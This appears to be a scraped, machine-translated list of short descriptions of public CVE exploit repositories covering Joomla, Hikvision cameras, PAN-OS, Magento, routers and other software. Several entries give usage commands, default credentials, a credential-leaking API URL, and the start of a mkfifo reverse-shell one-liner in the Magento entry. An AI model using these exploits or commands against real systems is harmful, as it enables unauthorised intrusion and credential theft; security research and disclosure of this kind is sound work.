CVE-2023-23752-poc

Versiones afectadas 4.0.0 = 4.2.8 Joomla 3 y versiones anteriores no se ven afectadas por esta vulnerabilidad http://127.0.0.1/Joomla/api/index.php/v1/config/application?public=true Esta API se utiliza para obtener la información de configuración más importante del sitio, incluidas las credencial...

CVE-2026-36436-Public-Reference-Pack

CVE-2026-36436-Public-Reference-Pack 概要 Trisolutions BRPerfX バージョン 1.4.4.0 の脆弱性により、管理設定インターフェイス内で LDAP 資格情報が平文で公開されます。 認証された管理者は、標準的なブラウザの開発者ツールを使用してクライアントサイドコードを検査し、資格情報を取得できます。 影響を受けるバージョン 1.4.4.0 修正済み ベンダーパッチは 2026-02-25 にリリースされました クレジット Victor Mielke...

Hikvision-City-Hunter

Hikvision IP 카메라, DVR, NVR을 위한 2025년 궁극의 도시 규모 정찰 및 익스플로잇 도구 실시간 콘솔 출력 • DVR/NVR은 보라색 으로 강조 • 카메라는 초록색 • 스냅샷 자동 다운로드 • 허니팟 필터링 ╔══════════════════════════════════════════════════════════╗ ║ HIKVISION 2025 ULTIMATE CITY HUNTER ║ ║ Target: New York | Key: admin:12345 ║ ║ DVRs & NVRs = PURPLE |...

cve-2025-9933

🔒 管理员面板的凭据 用户名: admin 密码: Test@123 用户名: [email protected] 密码: Test@123 或注册新用户。 描述 在 PHPGurukul Beauty Parlour Management System 1.1 中发现一个漏洞。受此影响的是文件 /admin/view-appointment.php 中某些未知功能。对参数 viewid 的篡改导致 SQL 注入。攻击可能远程发起。该利用方式已公开披露，可能被使用。 访问 MySQL（终端） docker compose exec db mysql -uuser -p...

CVE-2022-42176

PCSecure V5.0.8.xw - 配置文件中使用硬编码凭据导致管理员面板访问 摘要 厂商: PCTechSoft SAS 产品: PCSecure 受影响版本: 5.0.8.xw 代号: PapiQuieroPollo00 漏洞 类型: 使用硬编码凭据 CWE-798 CVSSv3.1 向量: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSSv3.1 基础评分: 7.8 高危 漏洞利用: 否 CVE ID: CVE-2022-42176 描述 PCSecure V5.0.8.xw 的配置文件 system.bmp...

teamcity-idea-cve-2020-35667-poc

Перехват учетных данных плагина TeamCity для IntelliJ IDEA CVE-2020-35667 Быстрые ссылки Отчет PoC | Анализ рабочего процесса | Серверный скрипт Описание Это воспроизведение CVE-2020-35667 путем создания поддельной XML-RPC точки TeamCity. CVE-2020-35667 — это SSRF-уязвимость в плагине JetBrains...

opac-fast-automation

CVE-2025-65862 — Документация, анализ и инструмент автоматизации только для исследовательских целей ⚠️ Этическое и правовое предупреждение Все материалы в этом репозитории предоставлены исключительно для: исследований в области безопасности, обучения, анализа уязвимостей, и тестирования в среде,...

CVE-2023-23752

Это PoC для CVE-2023-23752, написанный на Python, который отображает информацию об имени пользователя и пароле. CVE-2023-23752 Joomla! 4.0.0 4.2.8 Использование = python3 exploit.py Выполнение скрипта продемонстрировано на GIF-изображении ниже:...

CVE-2025-14269

CVE-2025-14269 在 Headlamp 的集群内版本中发现了一个安全问题，未经身份验证的用户可能能够重用缓存的凭证，通过 Headlamp UI 访问 Helm 功能。仅当 Headlamp 已安装、配置了 config.enableHelm: true，并且授权用户先前访问过 Helm 功能时，Kubernetes 集群才会受到影响。 PoC 安装 Headlamp 版本 = v0.38.0 配置 config.enableHelm: true 登录用户必须打开 Helm 页面（/clusters/main/helm/releases/list），之后响应将被缓存...

bd-alaris-firmware-analysis

BD Alaris 8015 펌웨어 보안 분석 BD Alaris 8015 PC 장치의 펌웨어 보안 분석: 암호화되지 않은 Wi-Fi 자격 증명 저장 및 복합 취약점 CVE-2016-9355 -orange 개요 이 프로젝트는 BD Alaris 8015 Point-of-CarePC 주입 펌프의 펌웨어 보안 분석을 다루며, 특히 CVE-2016-9355 — 장치의 NAND 플래시 메모리에서 암호화되지 않은 Wi-Fi 자격 증명을 추출할 수 있는 취약점에 초점을 맞춥니다. 과정: CY 7790 - 의료기기 사이버보안 교수: Kevin ...

Hack-The-Box-Nexus-Findings-Report

🛡️ Hack The Box - Отчет о результатах взлома Nexus 📋 Обзор Этот репозиторий содержит комплексный отчет о тестировании на проникновение для машины Hack The Box Nexus. 🔍 Ключевые находки Обнаруженные учетные данные в истории коммитов Gitea - Средняя серьезность Krayin CRM: неограниченная загрузка...

CVE-2021-46363

CVE-2021-46363: Внедрение формул в Magnolia CMS Проблема в функции экспорта Magnolia v6.2.3 и ниже позволяет злоумышленникам выполнять атаки внедрения формул через специально созданные CSV/XLS-файлы. Эти формулы могут привести к выполнению произвольного кода на компьютере жертвы при открытии...

CVE-2018-14324-Exploit

Взлом Eclipse GlassFish - CVE-2018-14324 Описание CVE-2018-14324 не полностью объясняет влияние этой уязвимости. Кратко: у вас есть доступ к Java Management Extensions JMX через жестко закодированные учетные данные admin:admin. Хотя воздействие указано как «потенциально чувствительная информация,...

TFTPlunder

TFTPlunder: CVE-2023-29930용 익스플로잇 이것은 Genesys이전 명칭 InIn TFTP 프로비저닝 서버의 블라인드 파일 읽기/쓰기 취약점을 위한 익스플로잇 스크립트입니다. 취약점 정보 이 취약점은 TFTP 루트 경로와 파일 확장자에 대한 제한 없는 구성 옵션 때문에 발생합니다. 즉, Admin 인터페이스에서 TFTP를 원하는 디렉터리로 변경하고 원하는 파일을 업로드하거나 다운로드할 수 있습니다. 단, TFTP는 프로토콜상 파일 목록을 허용하지 않으므로 이것이 블라인드 파일 읽기 취약점이 되는 이유입니다. ...

CVE-2024-42657

CVE-2024-42657 CVE-2024-42657 wishnet Nepstech Wifi Router NTPL-XPON1GFEVN v1.0의 문제로, 로그인 과정에서 암호화가 부족하여 원격 공격자가 민감한 정보를 획득할 수 있습니다. CVE-2024-42657: 요약: wishnet Nepstech Wifi Router NTPL-XPON1GFEVN v1.0의 취약점으로, 인증되지 않은 원격 공격자가 로그인 과정 중 민감한 정보를 획득할 수 있습니다. 이 문제는 로그인 자격 증명을 전송할 때 암호화가 부족하여 발생하며, 중간...

CVE-2022-24716

CVE-2022-24716 Icinga Web 2는 컴퓨터 시스템과 네트워크를 모니터링하는 소프트웨어 애플리케이션입니다. 사용자가 시스템 리소스를 확인하고 관리할 수 있는 웹 인터페이스를 제공합니다. 그러나 Icinga Web 2에는 인증되지 않은 사용자가 웹 서버 사용자가 접근할 수 있는 시스템 파일에 접근할 수 있는 취약점이 있습니다. 여기에는 데이터베이스 자격 증명이 포함된 Icinga Web 2의 구성 파일이 포함됩니다. 이 취약점은 Icinga Web 2 버전 2.9.6 및 2.10에서 수정되었습니다. 그러나 이전 버...

CVE-2024-3400

CVE-2024-3400 PoC 교육 목적으로만 사용하십시오. 테스트 권한이 있는 서버에서만 사용하십시오. 사용 방법 의존성: root@kitploit: $ pip install rich targets.txt 스캔： root@kitploit: $ python run.py -f targets.txt -t 10 - Sending 102 requests... + Requests sent. Writing check file... - Polling 36... - Checking...

CVE-2018-18852

CERIO 라우터 인증된 RCE 벤더 백도어 자격 증명 CVE-2018-18852 Python PoC hook-s3c github.com/andripwn, 트위터 @andripwn CVE-2018-18852에 대한 동작하는 Python PoC, 원본 출처; https://github.com/andripwn/CVE-2018-18852 개요 CERIO 라우터 모델 및 변형인 DT300N, DT100G, AMR-3204, WMR-200N은 루트 사용자로 인증된 웹 기반 RCE에 취약합니다. 미공개 0day 권고로 존재합니다;...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift 脆弱性の詳細 HackTheBox - SwagShop で確認された脆弱性 ステージ1 = exploit.py Magento CMS ダッシュボードへの管理者認証情報を取得する ステージ2 = postauth.py exploit.py から取得した認証情報を postauth.py に追加して実行: root@kitploit: python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat...

CVE-2021-22911-rust

CVE-2021-22911 이 CVE에 대한 Rust로 작성된 개념 증명PoC입니다. TryHackMe 학습 플랫폼의 CTF 부트 투 룻boot to root인 https://tryhackme.com/room/rocket의 일부로 사용됩니다. 사용하려면 main.rs의 상수를 업데이트하고 실행하면 바로 작동합니다. 관리자 이메일 주소와 사용자 이름이 필요하며, MFA가 활성화되어 있지 않아야 합니다. https://www.exploit-db.com/exploits/49960 기반, MFA가 활성화되어 있어야 하는 Python...